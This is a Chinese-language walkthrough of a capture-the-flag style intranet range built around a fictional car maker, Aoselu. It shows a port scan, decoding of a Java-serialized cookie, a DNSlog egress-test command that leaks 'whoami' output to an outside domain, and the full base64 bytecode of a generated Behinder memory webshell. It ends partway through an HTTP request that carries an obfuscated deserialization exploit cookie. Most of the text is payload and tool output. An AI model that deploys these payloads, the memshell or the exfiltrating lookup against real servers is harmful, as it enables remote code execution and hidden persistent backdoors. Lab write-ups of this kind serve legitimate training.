靶场介绍
本靶场以虚构汽车制造企业 Aoselu 为背景，模拟其真实企业内部网络环境，玩家需要进行信息收集、权限提升、横向移动、服务利用等内网渗透技术，逐步获取4个flag。 目前已通过信息收集获得该企业某员工的邮箱 ：rachel.cook9@aoseluauto.com/!QAZ2wsx外网探测
./fscan_mac_arm64 -h 39.99.146.129 -p 1-65535
___ _
/ _ \ ___ ___ _ __ __ _ ___| | __
/ /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__| <
\____/ |___/\___|_| \__,_|\___|_|\_\
fscan version: 1.8.3
start infoscan
39.99.146.129:80 open
39.99.146.129:22 open
39.99.146.129:8080 open
[*] alive ports len is: 3
start vulscan
[*] WebTitle http://39.99.146.129 code:200 len:33611 title:Aoselu Automotive - Redefining Mobility
[*] WebTitle http://39.99.146.129:8080 code:200 len:15978 title:Aoselu Automotive - Email Loginhttp://39.99.146.129:8080有一个Email的web登陆页面
第一台：39.99.146.129/172.16.53.30(Extranet)
题目给的账号密码可以登陆
rachel.cook9@aoseluauto.com/!QAZ2wsx数据包的cookie字段，出现rO0A，经典的经过base64编码的ava序列化后的字符串
java反序列化
rO0ABXNyACFjb20uYW9zZWx1YXV0by5tYWlsLnVzZXIuVXNlckluZm9s/h3I5rAIGwIABUkAA2FnZUwABWVtYWlsdAASTGphdmEvbGFuZy9TdHJpbmc7TAAKb2NjdXBhdGlvbnEAfgABTAAIcmVhbG5hbWVxAH4AAUwACHVzZXJuYW1lcQB+AAF4cAAAABx0ABtyYWNoZWwuY29vazlAYW9zZWx1YXV0by5jb210AAtTYWxlc3BlcnNvbnQAC1JhY2hlbCBDb29rdAAMcmFjaGVsLmNvb2s5
base64接码一下
echo "rO0ABXNyACFjb20uYW9zZWx1YXV0by5tYWlsLnVzZXIuVXNlckluZm9s/h3I5rAIGwIABUkAA2FnZUwABWVtYWlsdAASTGphdmEvbGFuZy9TdHJpbmc7TAAKb2NjdXBhdGlvbnEAfgABTAAIcmVhbG5hbWVxAH4AAUwACHVzZXJuYW1lcQB+AAF4cAAAABx0ABtyYWNoZWwuY29vazlAYW9zZWx1YXV0by5jb210AAtTYWxlc3BlcnNvbnQAC1JhY2hlbCBDb29rdAAMcmFjaGVsLmNvb2s5" | base64 -d | strings
!com.aoseluauto.mail.user.UserInfol
ageL
emailt
Ljava/lang/String;L
occupationq
realnameq
usernameq
rachel.cook9@aoseluauto.comt
Salespersont
Rachel Cookt
rachel.cook9整理一下，类名是UserInfo
类名: com.aoseluauto.mail.user.UserInfo
--------------------------------
age: 28
email: rachel.cook9@aoseluauto.com
occupation: Salesperson
realname: Rachel Cook
username: rachel.cook9yakit插件生成paylaod
rce是一个普通用户权限
根目录下有flag。
但是无权限查看
测试目标是否出网
nslookup `whoami`.myhgyc.dnslog.cnyakit的dnslog没有回显，不能出网，一直超时
只能注入内存马了
冰蝎内存马注入
工具地址：https://github.com/pen4uin/java-memshell-generator/
java -jar jmg-gui-1.0.9_250101.jar
[>] Behinder SpringMVC Interceptor BASE64
[+] 基础信息:
密码: Jfgwuckzfpp
请求路径: /shell
请求头: User-Agent: Xjdrxgoz
脚本类型: JSP
内存马类名: com.google.gso.WhiteBlackListTtaInterceptor
注入器类名: org.junit.zb.ConfigurationUtil
[+] 结果输出:
yv66vgAAADEBSAEAHm9yZy9qdW5pdC96Yi9Db25maWd1cmF0aW9uVXRpbAcAAQEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQHAAMBAA1nZXRVcmxQYXR0ZXJuAQAUKClMamF2YS9sYW5nL1N0cmluZzsBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAIExvcmcvanVuaXQvemIvQ29uZmlndXJhdGlvblV0aWw7AQACLyoIAAwBAAxnZXRDbGFzc05hbWUBACtjb20uZ29vZ2xlLmdzby5XaGl0ZUJsYWNrTGlzdFR0YUludGVyY2VwdG9yCAAPAQAPZ2V0QmFzZTY0U3RyaW5nAQAKRXhjZXB0aW9ucwEAE2phdmEvaW8vSU9FeGNlcHRpb24HABMBABBqYXZhL2xhbmcvU3RyaW5nBwAVAQmsSDRzSUFBQUFBQUFBQUpWWCszc1R4eFU5SThsZUlTc2hFUUg4YUFPa2dVZ3l0c0F4QnR0SndEWUd1OGhPaW93ZHgrbGpKWTBsZ2J3cmRsYzJUcHVVcG1tYjlQMUlIK2s3ZlpFV1Nra0tNb1NHMHNmWEgvb1A5ZXN2VGMvc3lzSVB1VTQvKzl1ZHVYUG4zanZubm50bjljLy92SHNId0VIOFhhQTlZODRsY3FhWks4cEV6allUVS9tQ0l3ZUxldVpjc21BN0U0NCthampTeXNpU1kxb2FoTUQycy9xOG5panFSaTR4Vk5SdE8ybnFXY2tsdjhCaDA4b2w3SkpWTUhLemxqNG5GMHpyWEdKQnBoTzJ0T2FMMGtrTTJJdEdaa1Ezc2tWcHJiTGJJQ0J5dEIyZEdZd2wxempvRndnTW1Wa3BzRFZaTU9SNGVTNHRyUWs5WGFRa2tqUXplbkZTdHdwcVhoVUduSHpCRnVoSS9oOUhveE9SRnZETkRBbzBaZVVzSGJuT0JYWXlwdEhSOVZHRjhRQWVEQ0dBaUVEakV3V2o0RHdsMEJwZHErZkIweCticElNTXJXMndIc1pEMks2c05RdjRvN0ZKTlc5Vjh6YUJMU1ZMZXFBSlpEMEhGMnFRNWgybmxCamhJK1VKVHN2elpXazcvWnVxMlNYVHNHWC9pbmllVHArVkdhYy85cHpBdG52UzRRc0tvWUpwYU5nbG9OblN0amtSMkwyeEIxZURpUHJOOUZtVk5kZFkyU2tVRTJONmlmTHQxYTBaYTVIWUo0WUtwYnhVR2RBc0wzaUJ4ejdnS1FXQ1Z2VWtBcHREVXowelBlVTlFaW9HclFOQTRMNlVRNVl3MkNxalFubXBzalJPVHEvZWtYSVUyWm05RG5SdWdROEpnYjBmS0hJTkI1blluSFJHWE1zQys2THJ6Y2JxZVhvYzNVM293aUh5MUl0cVVpK1daUmlIdlFpT0NEeXdkcGVHUGdLVk1RMUhMeGlrZE5zcWx1WjFLNldDTWpLU3VRL2pDVHdaUWovSTVoRGpTeTNuKzVGb2JMT01oM0VNQXlvNEZ0R0Q5NUkrb3R0NVlxbmhlQWpEYUF0aUh4RmV4UWtOSTJSTHFjek1ING11VDBnZGpxNFhoZkZSbkdyQ0tKSkJSSVBZdzNvckIvRU0yMEdKWlJiR2FRK2ZsTURELy9zWUdzNFFMUWJqQWtzdTFzbE1uWWhZc2xONHRnbVRtT1paQm9aVFFjeFVDMmtOMHpWOG5Na2p0cU9HN2VpRVhTQzJZZmJYVmtrWW44U25RdmdFZElGZHF4VHNrc3drVWpKalNlZVVYRXh4cG9FZEowaEhnNHVPWk40RDBkak1ZQmdTc3lyQk9hKzMxWEhzZHA5Q0NGbXdmQU9xdFNuVlVVL1RscG15VlhBV0UzVGlxaFl4cCtJeFZoSFBRMFZEeVF1ZzJrdTNSZXYxVVF0MkNPZEJKMXZYTEdxWUY3aC9lYi9YS2dWYTFsdXBkZEVMV0F4aEFTK0VtT3BtcjhKT1Z5dXNkWGxid1V3TWxtZG5wU1d6M2hyM3ZZaVhGSEUvSzdDanZvNkd6N25OUnMrcVMwamdvV2pkNnZ3OFhnbmhaWHlCcnRNOTNjZGx4cjI0ZHRSTHIwckZsL0NxaXZRMWRxU3NlYUpnNkVWZUp1b1NWSXRmd1ZjVnNGOExRME5RcVgyRHRESGt3ajNhckE2aVZnamZ3cmNWQ04raExSYTJYclRWelZxdjBZZnhYWHhQWWY5OUZudXQwZHNxR2pkeW90YVkxbTNaMDgyQ3JuY3Z6K3RXejNJL1gzTmRjTm1YcHFtR2VWVkdHclpXK2RHcGlyNXowTFVheEMvb2E5YXNkdGE5bS9UQVpjTDhDcjlXNS91TjE2RThrSzBnM21Kdm5sbW5ydUYzSGcvR3BKTTNzd0xINm5oWnYyMmxYMHZPRmdsWXdyUEFBSzdnOXlxQXEyVDB6SHBjTlZ3VGFONW91NFozaUdyQm1EZlA4Y2k5ZGZKU3gyVGRORi9IalJEK2lBck5lZWtLNGlhNVpwZU56cm1DbmVrY0hFZ05MM09ROEx3ckVQYjBQR1lIOFNlbVJPOCswdHZWZTZpbis5REJURStYM2hYRUhjSjZoczJ4WXlBbkRTZUl1K1Q5czJlejFvV2MrVUlRZjhVZU1qRUFPb1dmVDdaVmZrb0tkUUc2NzhQdXU0RWprcGJQTFp3OVNYMGYzMXZpN2Y3Mk8wdllkbzBUSDBKOE5sSUZhRVVUbnpzOEpZUnhIK0NPN3NkV3JndjFiVlExOVF4MWxGWnp2SDBKTGZISW4yOWdJaDc1eXcwY2lFZitkZ085Yjljc2gxeTlYZGlKM1N1c045ZXNOMU95czJxOXRXcDltRG9xbnAzeEpYeG9jK01mb1lsSFhlTmhiMXZWdU1DSDhUQTFhRkxNOG9nYVpkZmI0OWR4NEJaNmZQZ0gzcm8zNGFDM2dxTnY0UFgyV3hnUzZBdmN4dkQwRWs3ME5iUTBSRTVTT09iSEZJZmorMnZEcDFzQzFYRWc4akVhbUxpRjUveUlQSDhUNmI3R2xzYUcyOGhPSzNFRitjanpTemhYZ1hrYnZ1bDRCZVVLUHIyRXo3UTB4cWRvK2FKQUJWKzhpUzlYOFBVS3ZsbkI2eTBORmZ4ZzZoSWErZ0wrSzRFclBNa2VYTVpWUXVoM3o5M0hsQUNQVVJyalg1d2RzNTNaM1k4UjVuK0NtZGVSUUI0SDhCSi9YRnptcDhwVmFseEROOTVCajR2VENMR0lzVC91d1NQa1JCY1dpZUdqWkVzZVE4UnlMN0VpVXJVVVhjYysraEx1S01wOVBuY1VwMDgvZmFvcytQK0ZxeHAyODJmSkc1d3JWdTRtNnV5cVZmVFAwR0lEVjE0UnljZ3ZiK0xTMlA3SWI4VmRYSzdnRC92NWZydUNwZkVPd2hLNUZYZ1BDOVArU0grS1N4MmNuSi8yeHpsZXVvczN2Zi9rSlJ3ZGo5eDJqUkNwdmtCTFFHMThiK1hHbHNBR080bG4reldYdWtNNHdSaFA4c0s1V0VPMWl5Y0diMlFmanJKbWpxRU5BOVFicGVZZ05ZOWpqTVJNY2ZZaThidEl5Y3M0VlVPempjajgwRVVraUtmd0kveFlmZU1RSXlVTGNPZmpWZGxKMnY4SmZrbzlvb0dmdVZYcW82V2Z1eVdtMEl6Qi96NmQrRFN3ZzcwSlFWemZSeThDMVRtbnJ1emZXQWsyL2d1bGdUNHZUQTRBQUE9PQgAFwEABjxpbml0PgEAFShMamF2YS9sYW5nL1N0cmluZzspVgwAGQAaCgAWABsBAAMoKVYBAAdjb250ZXh0AQASTGphdmEvbGFuZy9PYmplY3Q7AQALaW50ZXJjZXB0b3IMABkAHQoABAAhAQAKZ2V0Q29udGV4dAEAFCgpTGphdmEvbGFuZy9PYmplY3Q7DAAjACQKAAIAJQEADmdldEludGVyY2VwdG9yDAAnACQKAAIAKAEADmFkZEludGVyY2VwdG9yAQAnKExqYXZhL2xhbmcvT2JqZWN0O0xqYXZhL2xhbmcvT2JqZWN0OylWDAAqACsKAAIALAEAE2phdmEvbGFuZy9FeGNlcHRpb24HAC4BABFyZXF1ZXN0QXR0cmlidXRlcwEAC2h0dHByZXF1ZXN0AQAHc2Vzc2lvbgEADnNlcnZsZXRDb250ZXh0AQATYXBwbGljYXRpb25Db250ZXh0cwEAGUxqYXZhL3V0aWwvTGlua2VkSGFzaFNldDsBABJhcHBsaWNhdGlvbkNvbnRleHQBAAtjbGFzc0xvYWRlcgEAF0xqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7AQAVamF2YS9sYW5nL0NsYXNzTG9hZGVyBwA5AQAQamF2YS9sYW5nL09iamVjdAcAOwEADVN0YWNrTWFwVGFibGUBABBqYXZhL2xhbmcvVGhyZWFkBwA+AQANY3VycmVudFRocmVhZAEAFCgpTGphdmEvbGFuZy9UaHJlYWQ7DABAAEEKAD8AQgEAFWdldENvbnRleHRDbGFzc0xvYWRlcgEAGSgpTGphdmEvbGFuZy9DbGFzc0xvYWRlcjsMAEQARQoAPwBGAQA8b3JnLnNwcmluZ2ZyYW1ld29yay53ZWIuY29udGV4dC5yZXF1ZXN0LlJlcXVlc3RDb250ZXh0SG9sZGVyCABIAQAJbG9hZENsYXNzAQAlKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL0NsYXNzOwwASgBLCgA6AEwBABRnZXRSZXF1ZXN0QXR0cmlidXRlcwgATgEADGludm9rZU1ldGhvZAEAOChMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9PYmplY3Q7DABQAFEKAAIAUgEACmdldFJlcXVlc3QIAFQBAApnZXRTZXNzaW9uCABWAQARZ2V0U2VydmxldENvbnRleHQIAFgBAEJvcmcuc3ByaW5nZnJhbWV3b3JrLndlYi5jb250ZXh0LnN1cHBvcnQuV2ViQXBwbGljYXRpb25Db250ZXh0VXRpbHMIAFoBABhnZXRXZWJBcHBsaWNhdGlvbkNvbnRleHQIAFwBAA9qYXZhL2xhbmcvQ2xhc3MHAF4BABxqYXZheC5zZXJ2bGV0LlNlcnZsZXRDb250ZXh0CABgAQBdKExqYXZhL2xhbmcvT2JqZWN0O0xqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNzO1tMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7DABQAGIKAAIAYwEAMW9yZy5zcHJpbmdmcmFtZXdvcmsuY29udGV4dC5zdXBwb3J0LkxpdmVCZWFuc1ZpZXcIAGUBAAtuZXdJbnN0YW5jZQwAZwAkCgBfAGgIADQBAAVnZXRGVgwAawBRCgACAGwBABdqYXZhL3V0aWwvTGlua2VkSGFzaFNldAcAbgEACGl0ZXJhdG9yAQAWKClMamF2YS91dGlsL0l0ZXJhdG9yOwwAcABxCgBvAHIBABJqYXZhL3V0aWwvSXRlcmF0b3IHAHQBAARuZXh0DAB2ACQLAHUAdwEANW9yZy5zcHJpbmdmcmFtZXdvcmsud2ViLmNvbnRleHQuV2ViQXBwbGljYXRpb25Db250ZXh0CAB5AQAIZ2V0Q2xhc3MBABMoKUxqYXZhL2xhbmcvQ2xhc3M7DAB7AHwKADwAfQEAEGlzQXNzaWduYWJsZUZyb20BABQoTGphdmEvbGFuZy9DbGFzczspWgwAfwCACgBfAIEBACBqYXZhL2xhbmcvQ2xhc3NOb3RGb3VuZEV4Y2VwdGlvbgcAgwEAK2phdmEvbGFuZy9yZWZsZWN0L0ludm9jYXRpb25UYXJnZXRFeGNlcHRpb24HAIUBAB9qYXZhL2xhbmcvTm9TdWNoTWV0aG9kRXhjZXB0aW9uBwCHAQAgamF2YS9sYW5nL0lsbGVnYWxBY2Nlc3NFeGNlcHRpb24HAIkBABNqYXZhL2xhbmcvVGhyb3dhYmxlBwCLAQAJY2xhenpCeXRlAQACW0IBAAtkZWZpbmVDbGFzcwEAGkxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQAFY2xhenoBABFMamF2YS9sYW5nL0NsYXNzOwEAAWUBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsMAA4ABgoAAgCVDAARAAYKAAIAlwEADGRlY29kZUJhc2U2NAEAFihMamF2YS9sYW5nL1N0cmluZzspW0IMAJkAmgoAAgCbAQAOZ3ppcERlY29tcHJlc3MBAAYoW0IpW0IMAJ0AngoAAgCfCACPBwCOAQARamF2YS9sYW5nL0ludGVnZXIHAKMBAARUWVBFDAClAJIJAKQApgEAEWdldERlY2xhcmVkTWV0aG9kAQBAKExqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwwAqACpCgBfAKoBABhqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2QHAKwBAA1zZXRBY2Nlc3NpYmxlAQAEKFopVgwArgCvCgCtALABAAd2YWx1ZU9mAQAWKEkpTGphdmEvbGFuZy9JbnRlZ2VyOwwAsgCzCgCkALQBAAZpbnZva2UBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsMALYAtwoArQC4AQAWYWJzdHJhY3RIYW5kbGVyTWFwcGluZwEAE2FkYXB0ZWRJbnRlcmNlcHRvcnMBABVMamF2YS91dGlsL0FycmF5TGlzdDsBABZMb2NhbFZhcmlhYmxlVHlwZVRhYmxlAQApTGphdmEvdXRpbC9BcnJheUxpc3Q8TGphdmEvbGFuZy9PYmplY3Q7PjsBAAdnZXRCZWFuCAC/AQAccmVxdWVzdE1hcHBpbmdIYW5kbGVyTWFwcGluZwgAwQgAuwEAE2phdmEvdXRpbC9BcnJheUxpc3QHAMQBAANhZGQBABUoTGphdmEvbGFuZy9PYmplY3Q7KVoMAMYAxwoAxQDIAQAMZGVjb2RlckNsYXNzAQAHZGVjb2RlcgEAB2lnbm9yZWQBAAliYXNlNjRTdHIBABJMamF2YS9sYW5nL1N0cmluZzsBABRMamF2YS9sYW5nL0NsYXNzPCo+OwEAFnN1bi5taXNjLkJBU0U2NERlY29kZXIIANABAAdmb3JOYW1lDADSAEsKAF8A0wEADGRlY29kZUJ1ZmZlcggA1QEACWdldE1ldGhvZAwA1wCpCgBfANgBABBqYXZhLnV0aWwuQmFzZTY0CADaAQAKZ2V0RGVjb2RlcggA3AEABmRlY29kZQgA3gEADmNvbXByZXNzZWREYXRhAQADb3V0AQAfTGphdmEvaW8vQnl0ZUFycmF5T3V0cHV0U3RyZWFtOwEAAmluAQAeTGphdmEvaW8vQnl0ZUFycmF5SW5wdXRTdHJlYW07AQAGdW5nemlwAQAfTGphdmEvdXRpbC96aXAvR1pJUElucHV0U3RyZWFtOwEABmJ1ZmZlcgEAAW4BAAFJAQAdamF2YS9pby9CeXRlQXJyYXlPdXRwdXRTdHJlYW0HAOoBABxqYXZhL2lvL0J5dGVBcnJheUlucHV0U3RyZWFtBwDsAQAdamF2YS91dGlsL3ppcC9HWklQSW5wdXRTdHJlYW0HAO4KAOsAIQEABShbQilWDAAZAPEKAO0A8gEAGChMamF2YS9pby9JbnB1dFN0cmVhbTspVgwAGQD0CgDvAPUBAARyZWFkAQAFKFtCKUkMAPcA+AoA7wD5AQAFd3JpdGUBAAcoW0JJSSlWDAD7APwKAOsA/QEAC3RvQnl0ZUFycmF5AQAEKClbQgwA/wEACgDrAQEBAAVzZXRGVgEAOShMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL09iamVjdDspVgEABHZhcjABAAR2YXIxAQADdmFsAQAEZ2V0RgEAPyhMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9yZWZsZWN0L0ZpZWxkOwwBCAEJCgACAQoBABdqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZAcBDAEAA3NldAwBDgArCgENAQ8BAANvYmoBAAlmaWVsZE5hbWUBAAVmaWVsZAEAGUxqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsKAQ0AsAEAA2dldAEAJihMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7DAEWARcKAQ0BGAEAHmphdmEvbGFuZy9Ob1N1Y2hGaWVsZEV4Y2VwdGlvbgcBGgEAIExqYXZhL2xhbmcvTm9TdWNoRmllbGRFeGNlcHRpb247AQAQZ2V0RGVjbGFyZWRGaWVsZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9yZWZsZWN0L0ZpZWxkOwwBHQEeCgBfAR8BAA1nZXRTdXBlcmNsYXNzDAEhAHwKAF8BIgoBGwAbAQAMdGFyZ2V0T2JqZWN0AQAKbWV0aG9kTmFtZQEAAWkBAAdtZXRob2RzAQAbW0xqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQAhTGphdmEvbGFuZy9Ob1N1Y2hNZXRob2RFeGNlcHRpb247AQAiTGphdmEvbGFuZy9JbGxlZ2FsQWNjZXNzRXhjZXB0aW9uOwEACnBhcmFtQ2xhenoBABJbTGphdmEvbGFuZy9DbGFzczsBAAVwYXJhbQEAE1tMamF2YS9sYW5nL09iamVjdDsBAAZtZXRob2QBAAl0ZW1wQ2xhc3MHASkBABJnZXREZWNsYXJlZE1ldGhvZHMBAB0oKVtMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwwBMwE0CgBfATUBAAdnZXROYW1lDAE3AAYKAK0BOAEABmVxdWFscwwBOgDHCgAWATsBABFnZXRQYXJhbWV0ZXJUeXBlcwEAFCgpW0xqYXZhL2xhbmcvQ2xhc3M7DAE9AT4KAK0BPwoAiAAbAQAaamF2YS9sYW5nL1J1bnRpbWVFeGNlcHRpb24HAUIBAApnZXRNZXNzYWdlDAFEAAYKAIoBRQoBQwAbACEAAgAEAAAAAAAOAAEABQAGAAEABwAAAC0AAQABAAAAAxINsAAAAAIACAAAAAYAAQAAABAACQAAAAwAAQAAAAMACgALAAAAAQAOAAYAAQAHAAAAEAABAAEAAAAEEwAQsAAAAAAAAQARAAYAAgASAAAABAABABQABwAAABcAAwABAAAAC7sAFlkTABi3ABywAAAAAAABABkAHQACAAcAAABjAAMAAwAAABUqtwAiKrYAJkwqtwApTSorLLYALbEAAAACAAgAAAAWAAUAAAAdAAQAHgAJAB8ADgAgABQAIgAJAAAAIAADAAAAFQAKAAsAAAAJAAwAHgAfAAEADgAHACAAHwACABIAAAAEAAEALwABACMAJAACAAcAAAF8AAcABwAAAJC4AEO2AEdMAU0rEkm2AE0ST7gAU04tElW4AFM6BBkEEle4AFM6BRkFElm4AFM6BisSW7YATRJdBL0AX1kDKxJhtgBNUwS9ADxZAxkGU7gAZE2nAAROLMcAOCsSZrYATbYAaRJquABtwABvTi22AHO5AHgBADoEKxJ6tgBNGQS2AH62AIKZAAYZBE2nAAROLLAAAgAJAFEAVAAvAFkAigCNAC8AAwAIAAAARgARAAAAJQAHACYACQAoABUAKQAdACoAJgArAC8ALABRAC4AVAAtAFUAMABZADIAawAzAHYANACHADUAigA4AI0ANwCOADoACQAAAFwACQAVADwAMAAfAAMAHQA0ADEAHwAEACYAKwAyAB8ABQAvACIAMwAfAAYAawAfADQANQADAHYAFAA2AB8ABAAAAJAACgALAAAABwCJADcAOAABAAkAhwAeAB8AAgA9AAAAHAAF/wBUAAMHAAIHADoHADwAAQcALwA0QgcALwAAEgAAAAoABACEAIYAiACKAAIAJwAkAAIABwAAAVQABgAHAAAAergAQ7YAR0wBTSsqtgCWtgBNtgBpTacAY04qtgCYuACcuACgOgQSOhKhBr0AX1kDEqJTWQSyAKdTWQWyAKdTtgCrOgUZBQS2ALEZBSsGvQA8WQMZBFNZBAO4ALVTWQUZBL64ALVTtgC5wABfOgYZBrYAaU2nAAU6BCywAAIACQAVABgALwAZAHMAdgCMAAMACAAAADYADQAAAD4ABwA/AAkAQQAVAEsAGABCABkARAAlAEUAQwBGAEkARwBtAEgAcwBKAHYASQB4AEwACQAAAEgABwAlAE4AjQCOAAQAQwAwAI8AkAAFAG0ABgCRAJIABgAZAF8AkwCUAAMAAAB6AAoACwAAAAcAcwA3ADgAAQAJAHEAIAAfAAIAPQAAAC4AA/8AGAADBwACBwA6BwA8AAEHAC//AF0ABAcAAgcAOgcAPAcALwABBwCM+gABABIAAAAEAAEALwABACoAKwABAAcAAAC9AAcABQAAADArEsAEvQBfWQMSFlMEvQA8WQMSwlO4AGROLRLDuABtwADFOgQZBCy2AMlXpwAETrEAAQAAACsALgAvAAQACAAAABoABgAAAFEAGQBSACQAUwArAFUALgBUAC8AVgAJAAAANAAFABkAEgC6AB8AAwAkAAcAuwC8AAQAAAAwAAoACwAAAAAAMAAeAB8AAQAAADAAIAAfAAIAvQAAAAwAAQAkAAcAuwC+AAQAPQAAAAcAAm4HAC8AAAgAmQCaAAIABwAAAQAABgAEAAAAahLRuADUTCsS1gS9AF9ZAxIWU7YA2Su2AGkEvQA8WQMqU7YAucAAosAAorBNEtu4ANRMKxLdA70AX7YA2QEDvQA8tgC5Ti22AH4S3wS9AF9ZAxIWU7YA2S0EvQA8WQMqU7YAucAAosAAorAAAQAAACoAKwAvAAQACAAAABoABgAAAFwABgBdACsAXgAsAF8AMgBgAEUAYQAJAAAANAAFAAYAJQDKAJIAAQBFACUAywAfAAMALAA+AMwAlAACAAAAagDNAM4AAAAyADgAygCSAAEAvQAAABYAAgAGACUAygDPAAEAMgA4AMoAzwABAD0AAAAGAAFrBwAvABIAAAAKAAQAhACIAIYAigAJAJ0AngACAAcAAADUAAQABgAAAD67AOtZtwDwTLsA7VkqtwDzTbsA71kstwD2ThEBALwIOgQtGQS2APpZNgWbAA8rGQQDFQW2AP6n/+srtgECsAAAAAMACAAAAB4ABwAAAGYACABnABEAaAAaAGkAIQBrAC0AbAA5AG4ACQAAAD4ABgAAAD4A4ACOAAAACAA2AOEA4gABABEALQDjAOQAAgAaACQA5QDmAAMAIQAdAOcAjgAEACoAFADoAOkABQA9AAAAHAAC/wAhAAUHAKIHAOsHAO0HAO8HAKIAAPwAFwEAEgAAAAQAAQAUACABAwEEAAIABwAAAFcAAwAEAAAACyssuAELKy22ARCxAAAAAgAIAAAACgACAAAAcgAKAHMACQAAACoABAAAAAsACgALAAAAAAALAQUAHwABAAAACwEGAM4AAgAAAAsBBwAfAAMAEgAAAAQAAQAvAAgAawBRAAIABwAAAFcAAgADAAAAESoruAELTSwEtgEVLCq2ARmwAAAAAgAIAAAADgADAAAAdgAGAHcACwB4AAkAAAAgAAMAAAARAREAHwAAAAAAEQESAM4AAQAGAAsBEwEUAAIAEgAAAAQAAQAvAAgBCAEJAAIABwAAAMcAAwAEAAAAKCq2AH5NLMYAGSwrtgEgTi0EtgEVLbBOLLYBI02n/+m7ARtZK7cBJL8AAQAJABUAFgEbAAQACAAAACYACQAAAHwABQB9AAkAfwAPAIAAFACBABYAggAXAIMAHACEAB8AhgAJAAAANAAFAA8ABwETARQAAwAXAAUAkwEcAAMAAAAoAREAHwAAAAAAKAESAM4AAQAFACMAkQCSAAIAvQAAAAwAAQAFACMAkQDPAAIAPQAAAA0AA/wABQcAX1AHARsIABIAAAAEAAEBGwAoAFAAUQACAAcAAABCAAQAAgAAAA4qKwO9AF8DvQA8uABksAAAAAIACAAAAAYAAQAAAIsACQAAABYAAgAAAA4BJQAfAAAAAAAOASYAzgABABIAAAAIAAMAiACKAIYAKQBQAGIAAgAHAAACFwADAAkAAADKKsEAX5kACirAAF+nAAcqtgB+OgQBOgUZBDoGGQXHAGQZBsYAXyzHAEMZBrYBNjoHAzYIFQgZB76iAC4ZBxUIMrYBOSu2ATyZABkZBxUIMrYBQL6aAA0ZBxUIMjoFpwAJhAgBp//QpwAMGQYrLLYAqzoFp/+pOgcZBrYBIzoGp/+dGQXHAAy7AIhZK7cBQb8ZBQS2ALEqwQBfmQAaGQUBLbYAubA6B7sBQ1kZB7YBRrcBR78ZBSottgC5sDoHuwFDWRkHtgFGtwFHvwADACUAcgB1AIgAnACjAKQAigCzALoAuwCKAAMACAAAAG4AGwAAAI8AFACQABcAkgAbAJMAJQCVACkAlwAwAJgAOwCZAFYAmgBdAJsAYACYAGYAngBpAJ8AcgCjAHUAoQB3AKIAfgCjAIEApQCGAKYAjwCoAJUAqQCcAKsApACsAKYArQCzALEAuwCyAL0AswAJAAAAegAMADMAMwEnAOkACAAwADYBKAEpAAcAdwAHAJMBKgAHAKYADQCTASsABwC9AA0AkwErAAcAAADKAREAHwAAAAAAygEmAM4AAQAAAMoBLAEtAAIAAADKAS4BLwADABQAtgCRAJIABAAXALMBMACQAAUAGwCvATEAkgAGAD0AAAAvAA4OQwcAX/4ACAcAXwcArQcAX/0AFwcBMgEs+QAFAghCBwCICw1UBwCKDkcHAIoAEgAAAAgAAwCIAIYAigAA
[+] 调试信息:
内存马类名: com.google.gso.WhiteBlackListTtaInterceptor
注入器类名: org.junit.zb.ConfigurationUtil
内存马字节流长度: 3660
注入器字节流长度: 9906
GET /mail/u/0/ HTTP/1.1
Host: 39.99.154.100:8080
Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8,zh-HK;q=0.7,en-US;q=0.6,en;q=0.5
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Priority: u=0, i
Referer: http://39.99.146.129:8080/
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:151.0) Gecko/20100101 Firefox/151.0
Cookie: userInfo=rO0ABXNyAFbBr8GywafArsGhwbDBocGjwajBpcCuwaPBr8Gtwa3Br8GuwbPArsGjwa/BrMGswaXBo8G0wanBr8GuwbPAtMCuwaLBocGnwK7BlMGywaXBpcGCwaHBp5SVecHY59tsAwAAeHBzcgCEwa/BssGnwK7BocGwwaHBo8GowaXArsGjwa/BrcGtwa/BrsGzwK7Bo8GvwazBrMGlwaPBtMGpwa/BrsGzwLTArsGjwa/BrcGwwaHBssGhwbTBr8GywbPArsGUwbLBocGuwbPBpsGvwbLBrcGpwa7Bp8GDwa/BrcGwwaHBssGhwbTBr8GyL/mE8CuxCMwCAAJMABLBpMGlwaPBr8GywaHBtMGlwaR0ACzBjMGqwaHBtsGhwK/BtcG0wanBrMCvwYPBr8GtwbDBocGywaHBtMGvwbLAu0wAFsG0wbLBocGuwbPBpsGvwbLBrcGlwbJ0AFrBjMGvwbLBp8CvwaHBsMGhwaPBqMGlwK/Bo8Gvwa3BrcGvwa7Bs8CvwaPBr8GswazBpcGjwbTBqcGv